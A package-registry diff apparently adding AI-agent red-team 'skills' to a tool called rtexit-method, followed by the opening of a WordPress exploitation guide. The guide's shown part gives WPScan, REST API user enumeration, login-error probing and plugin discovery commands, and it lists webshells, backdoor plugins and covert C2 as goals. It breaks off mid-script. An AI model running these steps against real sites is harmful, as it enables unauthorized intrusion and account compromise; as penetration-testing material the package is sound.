rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1565 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-wordpress
|
|
3
|
+
description: "WordPress and CMS exploitation skill. Covers WordPress username enumeration, plugin CVE exploitation, wp-admin brute force, XML-RPC exploitation, file upload via plugins, Application Password backdoors, WPML SQLi, Elementor CVEs, popup-builder CVE-2024-3673 (unauthenticated file upload), WPScan automation. Based on real Almentor engagement findings."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-wordpress
|
|
7
|
+
|
|
8
|
+
WordPress and CMS exploitation skill for red team operations. Covers the full attack chain from enumeration to persistence, with techniques validated against real-world targets including the Almentor engagement.
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## 1. Overview
|
|
13
|
+
|
|
14
|
+
WordPress powers approximately 43% of all websites. Its plugin ecosystem is the primary attack surface — thousands of plugins ship with critical vulnerabilities, and most site owners do not patch promptly. This skill covers the complete WordPress attack chain:
|
|
15
|
+
|
|
16
|
+
- Passive and active enumeration (versions, users, plugins, themes)
|
|
17
|
+
- Plugin CVE lookup and exploitation
|
|
18
|
+
- Authentication attacks (brute force, XML-RPC, Application Passwords)
|
|
19
|
+
- File upload and webshell deployment via vulnerable plugins
|
|
20
|
+
- Persistence via Application Password backdoors and plugin implants
|
|
21
|
+
- Database extraction via SQLi plugins
|
|
22
|
+
- WAF bypass techniques
|
|
23
|
+
- Integration with the RTExit autodoc engine
|
|
24
|
+
|
|
25
|
+
**Key files to target:**
|
|
26
|
+
- `wp-config.php` — database credentials, secret keys, debug settings
|
|
27
|
+
- `wp-content/debug.log` — may contain credentials, stack traces, PII
|
|
28
|
+
- `wp-content/uploads/` — often world-readable, webshells land here
|
|
29
|
+
- `wp-includes/` — core files, rarely modified, good for stealth implants
|
|
30
|
+
- `.htaccess` — server config, sometimes contains credentials
|
|
31
|
+
|
|
32
|
+
**Scope prerequisite:** Confirm written authorization covers the target WordPress installation before executing any commands.
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## 2. Skill Levels
|
|
37
|
+
|
|
38
|
+
### BEGINNER
|
|
39
|
+
|
|
40
|
+
Focus: passive enumeration, WPScan basics, public CVE lookup.
|
|
41
|
+
|
|
42
|
+
**Objectives:**
|
|
43
|
+
- Identify WordPress version
|
|
44
|
+
- Enumerate users and active plugins
|
|
45
|
+
- Look up known CVEs for discovered plugins
|
|
46
|
+
- Document findings in RTExit format
|
|
47
|
+
|
|
48
|
+
**Tools required:** WPScan, curl, browser
|
|
49
|
+
|
|
50
|
+
**Typical time:** 30–60 minutes per target
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
### INTERMEDIATE
|
|
55
|
+
|
|
56
|
+
Focus: active exploitation of known plugin CVEs, XML-RPC abuse, credential attacks.
|
|
57
|
+
|
|
58
|
+
**Objectives:**
|
|
59
|
+
- Exploit unauthenticated plugin vulnerabilities
|
|
60
|
+
- Perform XML-RPC brute force and command execution
|
|
61
|
+
- Extract wp-config.php and debug.log
|
|
62
|
+
- Gain low-privilege WordPress user access
|
|
63
|
+
|
|
64
|
+
**Tools required:** WPScan, Metasploit, curl, Python 3, Burp Suite
|
|
65
|
+
|
|
66
|
+
**Typical time:** 1–3 hours per target
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
### ADVANCED
|
|
71
|
+
|
|
72
|
+
Focus: authenticated exploitation, file upload webshells, SQLi, privilege escalation.
|
|
73
|
+
|
|
74
|
+
**Objectives:**
|
|
75
|
+
- Upload webshells via vulnerable plugin admin interfaces
|
|
76
|
+
- Exploit WPML/Elementor SQLi for data extraction
|
|
77
|
+
- Create Application Password backdoors for persistence
|
|
78
|
+
- Move laterally to underlying OS via webshell
|
|
79
|
+
|
|
80
|
+
**Tools required:** WPScan, sqlmap, custom Python scripts, Burp Suite, msfvenom
|
|
81
|
+
|
|
82
|
+
**Typical time:** 2–6 hours per target
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
### EXPERT
|
|
87
|
+
|
|
88
|
+
Focus: stealth persistence, WAF bypass, supply-chain implants, custom plugin backdoors.
|
|
89
|
+
|
|
90
|
+
**Objectives:**
|
|
91
|
+
- Deploy persistent backdoor plugins that survive updates
|
|
92
|
+
- Bypass WAF/IDS for all stages of the chain
|
|
93
|
+
- Implant malicious code in existing plugin files
|
|
94
|
+
- Maintain covert C2 channel via WordPress hooks
|
|
95
|
+
- Full database exfiltration with minimal log footprint
|
|
96
|
+
|
|
97
|
+
**Tools required:** Custom tooling, Burp Suite Pro, WPScan API key, C2 framework
|
|
98
|
+
|
|
99
|
+
**Typical time:** Varies — typically a full engagement day
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
## 3. Step-by-Step Attack Workflow
|
|
104
|
+
|
|
105
|
+
### Phase 1: Reconnaissance
|
|
106
|
+
|
|
107
|
+
**Step 1 — Passive fingerprinting**
|
|
108
|
+
|
|
109
|
+
Check HTTP headers and HTML source for WordPress indicators before sending active scan traffic:
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# Check response headers
|
|
113
|
+
curl -sI https://target.com | grep -i 'x-powered\|server\|link\|generator'
|
|
114
|
+
|
|
115
|
+
# Extract generator meta tag
|
|
116
|
+
curl -s https://target.com | grep -i 'generator'
|
|
117
|
+
|
|
118
|
+
# Check for wp-json API (confirms WordPress and leaks user info)
|
|
119
|
+
curl -s https://target.com/wp-json/wp/v2/users | python3 -m json.tool
|
|
120
|
+
|
|
121
|
+
# Check robots.txt for WordPress paths
|
|
122
|
+
curl -s https://target.com/robots.txt
|
|
123
|
+
|
|
124
|
+
# Check readme.html for exact version
|
|
125
|
+
curl -s https://target.com/readme.html | grep -i 'version'
|
|
126
|
+
|
|
127
|
+
# Check wp-links-opml.php (leaks version in generator field)
|
|
128
|
+
curl -s https://target.com/wp-links-opml.php
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**Step 2 — WPScan passive enumeration**
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# Basic scan — detect version, plugins, themes (no brute force)
|
|
135
|
+
wpscan --url https://target.com --detection-mode passive
|
|
136
|
+
|
|
137
|
+
# With API token for CVE lookup (get free token at wpscan.com)
|
|
138
|
+
wpscan --url https://target.com \
|
|
139
|
+
--api-token YOUR_WPSCAN_API_TOKEN \
|
|
140
|
+
--detection-mode passive \
|
|
141
|
+
--format json \
|
|
142
|
+
--output /path/to/output/target_wpscan_passive.json
|
|
143
|
+
|
|
144
|
+
# Enumerate everything passively
|
|
145
|
+
wpscan --url https://target.com \
|
|
146
|
+
--api-token YOUR_WPSCAN_API_TOKEN \
|
|
147
|
+
--enumerate ap,at,cb,dbe,u \
|
|
148
|
+
--detection-mode passive
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
**Step 3 — Active enumeration**
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# Full aggressive scan — enumerate all plugins, themes, users
|
|
155
|
+
wpscan --url https://target.com \
|
|
156
|
+
--api-token YOUR_WPSCAN_API_TOKEN \
|
|
157
|
+
--enumerate ap,at,cb,dbe,u \
|
|
158
|
+
--detection-mode aggressive \
|
|
159
|
+
--plugins-detection aggressive \
|
|
160
|
+
--plugins-version-detection aggressive \
|
|
161
|
+
--format json \
|
|
162
|
+
--output /path/to/output/target_wpscan_aggressive.json
|
|
163
|
+
|
|
164
|
+
# Enumerate users only (multiple methods)
|
|
165
|
+
wpscan --url https://target.com \
|
|
166
|
+
--enumerate u \
|
|
167
|
+
--detection-mode aggressive
|
|
168
|
+
|
|
169
|
+
# Enumerate specific plugin
|
|
170
|
+
wpscan --url https://target.com \
|
|
171
|
+
--enumerate p \
|
|
172
|
+
--plugins-list /usr/share/wordlists/wpscan/plugins.txt
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
**Step 4 — Manual user enumeration**
|
|
176
|
+
|
|
177
|
+
WordPress leaks usernames in multiple places even when author enumeration is disabled:
|
|
178
|
+
|
|
179
|
+
```bash
|
|
180
|
+
# Author archive enumeration (works when not disabled)
|
|
181
|
+
for i in $(seq 1 20); do
|
|
182
|
+
curl -s -o /dev/null -w "%{redirect_url}\n" "https://target.com/?author=$i"
|
|
183
|
+
done
|
|
184
|
+
|
|
185
|
+
# WP REST API user enumeration
|
|
186
|
+
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100" | \
|
|
187
|
+
python3 -c "import sys,json; [print(u['slug'], u.get('name','')) for u in json.load(sys.stdin)]"
|
|
188
|
+
|
|
189
|
+
# Login error differentiation (different errors for valid vs invalid users)
|
|
190
|
+
curl -s -X POST https://target.com/wp-login.php \
|
|
191
|
+
-d "log=admin&pwd=invalidpassword123&wp-submit=Log+In" \
|
|
192
|
+
-c /tmp/wp_cookies.txt | grep -i 'error\|invalid'
|
|
193
|
+
|
|
194
|
+
# OEMBED API leaks display names
|
|
195
|
+
curl -s "https://target.com/wp-json/oembed/1.0/embed?url=https://target.com/&format=json"
|
|
196
|
+
|
|
197
|
+
# Check sitemap for author URLs
|
|
198
|
+
curl -s https://target.com/sitemap.xml | grep -i 'author'
|
|
199
|
+
curl -s https://target.com/sitemap_index.xml
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
**Step 5 — Plugin and theme discovery**
|
|
203
|
+
|
|
204
|
+
```bash
|
|
205
|
+
# Check if common plugins exist
|
|
206
|
+
plugins=(
|
|
207
|
+
"contact-form-7"
|
|
208
|
+
"woocommerce"
|
|
209
|
+
"elementor"
|
|
210
|
+
"elementor-pro"
|
|
211
|
+
"popup-builder"
|
|
212
|
+
"wpml"
|
|
213
|
+
"revslider"
|
|
214
|
+
"wp-file-manager"
|
|
215
|
+
"wp-super-cache"
|
|
216
|
+
"yoast-seo"
|
|
217
|
+
"wordfence"
|
|
218
|
+
"all-in-one-seo-pack"
|
|
219
|
+
"wp-rocket"
|
|
220
|
+
"advanced-custom-fields"
|
|
221
|
+
"gravityforms"
|
|
222
|
+
"ninja-forms"
|
|
223
|
+
"mailchimp-for-wp"
|
|
224
|
+
"duplicator"
|
|
225
|
+
"backupbuddy"
|
|
226
|
+
)
|
|
227
|
+
|
|
228
|
+
for plugin in "${plugins[@]}"; do
|
|
229
|
+
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/wp-content/plugins/$plugin/readme.txt")
|
|
230
|
+
echo "$plugin: $status"
|
|
231
|
+
done
|
|
232
|
+
|
|
233
|
+
# Check plugin versions via readme.txt
|
|
234
|
+
curl -s "https://target.com/wp-content/plugins/elementor/readme.txt" | grep -i 'stable tag\|version'
|
|
235
|
+
curl -s "https://target.com/wp-content/plugins/popup-builder/readme.txt" | grep -i 'stable tag\|version'
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
### Phase 2: Vulnerability Assessment
|
|
241
|
+
|
|
242
|
+
**Step 6 — Cross-reference discovered plugins with CVE databases**
|
|
243
|
+
|
|
244
|
+
```bash
|
|
245
|
+
# WPScan vulnerability database (requires API token)
|
|
246
|
+
# Automatically shown in WPScan output with --api-token
|
|
247
|
+
|
|
248
|
+
# Manual lookup via WPScan API
|
|
249
|
+
curl -s -H "Authorization: Token token=YOUR_WPSCAN_API_TOKEN" \
|
|
250
|
+
"https://wpscan.com/api/v3/plugins/elementor" | python3 -m json.tool
|
|
251
|
+
|
|
252
|
+
curl -s -H "Authorization: Token token=YOUR_WPSCAN_API_TOKEN" \
|
|
253
|
+
"https://wpscan.com/api/v3/plugins/popup-builder" | python3 -m json.tool
|
|
254
|
+
|
|
255
|
+
# Search NVD (National Vulnerability Database)
|
|
256
|
+
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=wordpress+popup-builder&resultsPerPage=10" | \
|
|
257
|
+
python3 -c "import sys,json; d=json.load(sys.stdin); [print(c['cve']['id'], c['cve']['descriptions'][0]['value'][:100]) for c in d['vulnerabilities']]"
|
|
258
|
+
|
|
259
|
+
# Search via Exploit-DB
|
|
260
|
+
searchsploit wordpress elementor
|
|
261
|
+
searchsploit wordpress popup-builder
|
|
262
|
+
searchsploit wordpress contact-form-7
|
|
263
|
+
searchsploit wordpress revslider
|
|
264
|
+
searchsploit wordpress wpml
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
**Step 7 — Parse WPScan JSON output for actionable findings**
|
|
268
|
+
|
|
269
|
+
```python
|
|
270
|
+
#!/usr/bin/env python3
|
|
271
|
+
# parse_wpscan.py — extract high/critical findings from WPScan JSON output
|
|
272
|
+
|
|
273
|
+
import json
|
|
274
|
+
import sys
|
|
275
|
+
|
|
276
|
+
def parse_wpscan(filepath):
|
|
277
|
+
with open(filepath) as f:
|
|
278
|
+
data = json.load(f)
|
|
279
